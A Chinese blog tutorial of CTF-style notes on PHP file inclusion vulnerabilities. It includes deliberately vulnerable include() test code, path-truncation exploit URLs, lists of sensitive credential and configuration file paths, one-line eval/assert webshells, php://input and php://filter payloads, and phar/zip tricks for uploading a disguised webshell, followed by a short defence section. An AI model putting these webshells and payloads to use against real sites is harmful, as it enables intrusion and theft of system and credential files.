文件包含漏洞(总结)+常见的getshell+PHP伪协议
<h2><span style="color: rgba(0, 0, 0, 1)">写在前边</span></h2><p><span style="color: rgba(0, 0, 0, 1)"> 最近两天突然失去梦想,做题目全是知识盲区,就放弃思考了几天,想想还是写点什么,这里先总结一下什么是文件包含以及以PHP伪协议的文件包含利用,后续再更新CTF的实战</span></p>
<h3><span style="color: rgba(0, 0, 0, 1)"><strong>注意:所有实验必须要在php.ini中 allow_url_fopen =On 、allow_url_include = On</strong></span></h3>
<p> </p>
<h2><span style="color: rgba(0, 0, 0, 1)">文件包含漏洞原理</span></h2>
<p><span style="color: rgba(0, 0, 0, 1)"> 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。在实际WEB应用中,当页眉需要更新时,只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,在文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<h2><span style="color: rgba(0, 0, 0, 1)">PHP常见文件包含函数</span></h2>
<p><span style="color: rgba(0, 0, 0, 1)"> include()、include_once()、require()、require_once()</span></p>
<h3><span style="color: rgba(0, 0, 0, 1)"> include()和require()区别</span></h3>
<ul>
<li><span style="color: rgba(0, 0, 0, 1)">require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。</span></li>
<li><span style="color: rgba(0, 0, 0, 1)">include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行</span></li>
</ul>
<p><span style="color: rgba(0, 0, 0, 1)"> 演示一下,新建一个测试文件a.php,在同目录下有个home.php、upload.php、download.php这三个文件,我</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php
$filename = $_GET['filename'];
include($filename);
echo '$filename='.$filename;
?></span></pre>
</div>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502155147311-2123569097.png" alt=""></span></p>
<p style="text-align: left"><span style="color: rgba(0, 0, 0, 1)"> 在同目录下有个home.php、upload.php、download.php这三个文件,只要根据不同的参数,我们就可以访问不同的文件</span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502201819941-2021686660.png" alt=""></span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502201844525-601044803.png" alt=""></span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502201908647-47977757.png" alt=""></span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502202055414-1903519335.png" alt=""></span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 此时,我们访问的当前目录下的文件,如果不限制参数,我们可以读取其他其他路径下的文件,这里有个<strong>绝对路径</strong>和<strong>相对路径</strong>的概念</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 新建一个aaa.php,这里存放一个类</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php
class Man{
public $name;
public function eat(){
echo $this->name." eating";}
}
?></span></pre>
</div>
<p><span style="color: rgba(0, 0, 0, 1)"> 再建一个aa.php,用来测试</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php
include('路径'); //修改导入路径
$a = new Man();
$a->name = 'Lee';
$a->eat();
?></span></pre>
</div>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> <strong>绝对路径</strong>:绝对路径是指文件在硬盘上真正存在的路径。如修改路径为 /var/www/html/web/aaa.php</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">include('/var/www/html/web/aaa.php')</span></pre>
</div>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502210750208-1262032621.png" alt=""></span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"><strong> 相对路径:</strong>就是相对于自己的目标文件位置 如 ./aaa.php,只要两个文件相对的路径不变,那么实际就是对的</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">include('./aaa.php');</span></pre>
</div>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502211140126-1668289101.png" alt=""></span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 了解了什么是包含和路径,现在具体来看看文件包含漏洞</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<h2><span style="color: rgba(0, 0, 0, 1)">PHP文件包含漏洞</span></h2>
<p><span style="color: rgba(0, 0, 0, 1)"> <strong>文件包含漏洞利用的前提条件:</strong></span><br><span style="color: rgba(0, 0, 0, 1)">
(1)web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入;</span><br><span style="color: rgba(0, 0, 0, 1)">
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问;</span></p>
<h3><span id="i-4" style="color: rgba(0, 0, 0, 1)"> 1、无限制本地文件包含漏洞</span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> 依照刚刚所讲述的,我们利用filename这个参数控制我们访问的页面,再参照路径问题,当未对参数进行访问控制时,我们可以访问其他路径下的文件,我的服务器是在Linux上的</span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502212827730-1291527911.png" alt=""></span></p>
<p style="text-align: center"> </p>
<h3><span style="color: rgba(0, 0, 0, 1)"> 2、<span id="i-5">有限制本地文件包含漏洞绕过</span></span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> 测试代码:</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php
$filename= $_GET['filename'];
include($filename . ".html");
?></span></pre>
</div>
<h3><span style="color: rgba(0, 0, 0, 1)"> 2.1 <strong>%00截断</strong></span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> 条件:magic_quotes_gpc = Off php版本<5.3.4</span></p>
<h3><span style="color: rgba(0, 0, 0, 1)"> 2.2 <strong>路径长度截断</strong></span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> 条件:windows OS,点号需要长于256;linux OS 长于4096</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> EXP</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">http:/127.0.0.1/web/test.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././</span></pre>
</div>
<h3><span style="color: rgba(0, 0, 0, 1)"> 2.3 点号截断</span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> 条件:windows OS,点号需要长于256</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> EXP</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">http://127.0.0.1/web/test.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................</span></pre>
</div>
<p style="text-align: left"><span style="color: rgba(0, 0, 0, 1)"> 发现可以访问一些敏感路径</span></p>
<p style="text-align: left"><span style="color: rgba(0, 0, 0, 1)"> Linux的敏感路径</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP 相关配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu 系统的默认路径</span></pre>
</div>
<p><span style="color: rgba(0, 0, 0, 1)"> Windows的敏感路径</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存储 windows 系统初次安装的密码
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件</span></pre>
</div>
<p><span style="color: rgba(0, 0, 0, 1)"> 日志默认路径</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">(1) apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access_log
(2) apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录 logs 目录下</span></pre>
</div>
<p><span style="color: rgba(0, 0, 0, 1)"> web 中间件默认配置</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
</span></pre>
</div>
<h3><span style="color: rgba(0, 0, 0, 1)"> 2、远程文件包含</span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> 这有个很有意思的地方,我们可以利用PHP的这个文件包含特性去访问另一台服务器的文件,测试代码</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php
$filename= $_GET['filename'];
include($filename);
?></span></pre>
</div>
<p><span style="color: rgba(0, 0, 0, 1)"> 这可能会爆警告,但不用管他,我们只关心ERROR,WARNING爱咋咋的,我这开启了另一台服务器,有个phpinfo.php显示php版本的文件</span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200503001050367-87257528.png" alt=""></span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<h3><span style="color: rgba(0, 0, 0, 1)"> 3、文件包含+改写文件 </span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> 来设置一个极端场景,用户可以通过修改参数来更新自己的信息保存在另一个文件里</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php<br></span></pre>
<pre><span style="color: rgba(0, 0, 0, 1)">$filename = $_GET['filename'];</span></pre>
<pre><span style="color: rgba(0, 0, 0, 1)">include('$filename'); <br>$input_txt = $_GET['input_txt'];<br>$myfile = fopen("user.php", "w") or die("Unable to open file!"); <br>fwrite($myfile, $input_txt);<br>fclose($myfile); <br>?></span></pre>
</div>
<p><span style="color: rgba(0, 0, 0, 1)"> (真实场景中绝对不可能出现这种代码,这里只是演示 ORZ )</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 发现我们可以控制访问的文件和写入,这里我们通过传参修改一下user.php的内容(这里有个小BUG,第一次修改的时候不会显示修改的值,刷新才两次才更新,毕竟要先写入后再返回)</span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502233343297-207313960.png" alt=""></span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p style="text-align: left"><span style="color: rgba(0, 0, 0, 1)"> 如果我们输入的PHP代码呢?</span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200502233838927-1104981525.png" alt=""></span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 发现成功执行了phpinfo()这个函数,这样,我们可以修改相对应的文件进行getshell,这里就简单介绍一下利用代码执行函数和命令执行函数来getshell(一些奇怪的实战可能需要等刷到题),像这样文件包含和改写的在CTF中经常与序列化结合在一起,不了解序列化的可以去看一下 https://www.cnblogs.com/Lee-404/p/12771032.html</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 这边还有一个session.php利用,实际上3利用方法一样的,前提是必须知道session.php的位置,phpinfo中可获取</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<h2><span style="color: rgba(0, 0, 0, 1)">一句话木马</span></h2>
<h3><span style="color: rgba(0, 0, 0, 1)"> 文件包含获取 webshell 的条件:</span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> (1)攻击者需要知道文件存放的物理路径;</span><br><span style="color: rgba(0, 0, 0, 1)">
(2)对上传文件所在目录拥有可执行权限;</span><br><span style="color: rgba(0, 0, 0, 1)">
(3)存在文件包含漏洞;</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 菜刀马的原理是调用了PHP的代码执行函数,常见的一句话菜刀马,就是调用了eval函数、assert函数。</span></p>
<h3><span style="color: rgba(0, 0, 0, 1)"> 1、eval()</span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> eval() 函数把字符串按照 PHP 代码来计算。</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 该字符串必须是合法的 PHP 代码,且必须以分号结尾。</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php @eval($_POST['cmd']);?> //菜刀密码为cmd</span></pre>
</div>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200503125740737-474541516.png" alt=""></span></p>
<p> </p>
<p> </p>
<p style="text-align: left"><span style="color: rgba(0, 0, 0, 1)"> 改写成功,接下来连接,我这菜刀连接不上,可能本地防火墙原因,所以用hackbar连接</span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200503130502241-1115639166.png" alt=""></span></p>
<p> </p>
<p> </p>
<h3><span style="color: rgba(0, 0, 0, 1)"> 2、assert()函数</span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"> eval() 函数把字符串按照 PHP 代码来计算。</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 该字符串必须是合法的 PHP 代码,且必须以分号结尾。</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php @assert($_POST['cmd'])?> //用法和eval一样,具体后续再分析</span></pre>
</div>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<h2><span style="color: rgba(0, 0, 0, 1)">PHP伪协议</span></h2>
<h3><span style="color: rgba(0, 0, 0, 1)"> php://input(写木马)</span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"><em><em> </em></em><em><em>php://input</em></em> 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 <em><em>php://input</em></em> 来代替 <span style="text-decoration: underline">$HTTP_RAW_POST_DATA</span>,因为它不依赖于特定的 <em><em>php.ini</em></em> 指令。 而且,这样的情况下 <span style="text-decoration: underline">$HTTP_RAW_POST_DATA</span> 默认没有填充, 比激活 <span style="text-decoration: underline">always_populate_raw_post_data</span> 潜在需要更少的内存。 <em><em>enctype=”multipart/form-data”</em></em> 的时候 <em><em>php://input</em></em> 是无效的。 ——php.net</span></p>
<p style="text-align: left"><span style="color: rgba(0, 0, 0, 1)"> 简单说就是获取post数据。</span></p>
<p style="text-align: left"><span style="color: rgba(0, 0, 0, 1)"> test.php</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php
$d = file_get_contents('php://input');
@eval($d)
?></span></pre>
</div>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200503142743571-252233693.png" alt=""></span></p>
<p> </p>
<p> </p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<h3><span style="color: rgba(0, 0, 0, 1)"> php://filter(读文件)</span></h3>
<p><span style="color: rgba(0, 0, 0, 1)"><em><em> </em></em><em><em>php://filter</em></em> 是一种元封装器, 设计用于数据流打开时的<span style="text-decoration: underline">筛选过滤</span>应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 <span style="text-decoration: underline">readfile()</span>、 <span style="text-decoration: underline">file()</span> 和 <span style="text-decoration: underline">file_get_contents()</span>, 在数据流内容读取之前没有机会应用其他过滤器。 ——php.net</span></p>
<p><span style="color: rgba(0, 0, 0, 1)"> 简单说经常利用它进行base64编码,在CTF中,经常出现,我们利用</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">php://filter/read=convert.base64-encode/resource=xxx //xxx是文件名</span></pre>
</div>
<p><span style="color: rgba(0, 0, 0, 1)"> 测试代码</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)"><?php
$filename= $_GET['filename'];
include($filename);
?></span></pre>
</div>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200503143702063-1191972096.png" alt=""></span></p>
<p> </p>
<p> </p>
<p style="text-align: left"><span style="color: rgba(0, 0, 0, 1)"> 以base64的方式输出,解码 https://base64.supfree.net/</span></p>
<p style="text-align: center"><span style="color: rgba(0, 0, 0, 1)"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200503143842080-895065611.png" alt=""></span></p>
<h3><span style="color: rgba(0, 0, 0, 1)"><strong><strong> </strong></strong>zip://,bzip2://,zlib:// (上传)</span></h3>
<p><em><em> zlib:</em></em> 的功能类似 <span style="text-decoration: underline; color: rgba(0, 0, 255, 1)">gzopen()</span>,但是 其数据流还能被 fread() 和其他文件系统函数使用。 自 PHP 4.3.0 后这个不建议被使用,因为会和其他带“:”字符的文件名混淆; 请使用 <em><em>compress.zlib://</em></em> 作为替代。<em><em>compress.zlib://</em></em>、 <em><em>compress.bzip2://</em></em> 和 <span style="text-decoration: underline">gzopen()</span>、<span style="text-decoration: underline">bzopen()</span> 是相等的。并且可以在不支持 fopencookie 的系统中使用。<span style="text-decoration: underline">ZIP 扩展</span> 注册了 <em><em>zip:</em></em> 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 <em><em>‘password’</em></em> 选项设置密码。 ——php.net</p>
<p><span style="color: rgba(0, 0, 0, 1)"> 简单说就是直接访问压缩包里的文件。将phpinfo.txt压缩成zip,实战中可以改后缀为jpg绕过上传限制。</span></p>
<p> </p>
<h3><span id="data"> data://伪协议</span></h3>
<p> 数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行</p>
<p><span style="color: rgba(0, 0, 0, 1)"> </span></p>
<h3><span id="phar"> phar://伪协议</span></h3>
<p> 这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。</p>
<p> 用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。</p>
<p> </p>
<p> 在CTF中,可以利用这些伪协议来进行骚操作</p>
<p style="text-align: center"><img src="https://img2020.cnblogs.com/i1/1678972/202005/1678972-20200503145841452-2005716470.png" alt=""></p>
<p> </p>
<h2 id="toc-31" style="font-family: "Monospaced Number", "Chinese Quote", "-apple-system", BlinkMacSystemFont, "Segoe UI", Roboto, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "Helvetica Neue", Helvetica, Arial, sans-serif; line-height: 1.2; color: rgba(51, 51, 51, 1); border-bottom-style: none; letter-spacing: 0.75px">防御方案</h2>
<ul>
<li style="line-height: 26px">在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败</li>
<li style="line-height: 26px">做好文件的权限管理</li>
<li style="line-height: 26px">对危险字符进行过滤等等</li>
</ul>
<p style="text-align: center"> </p>
<h2> 参考链接</h2>
<p> https://blog.csdn.net/nzjdsds/article/details/82461043</p>
<p> https://www.freebuf.com/articles/web/182280.html</p>
<p> https://www.cnblogs.com/fox-yu/p/9134848.html</p>
<h3>如有错误请指出,谢谢</h3><br><br>
来源:https://www.cnblogs.com/Lee-404/p/12821986.html
頁:
[1]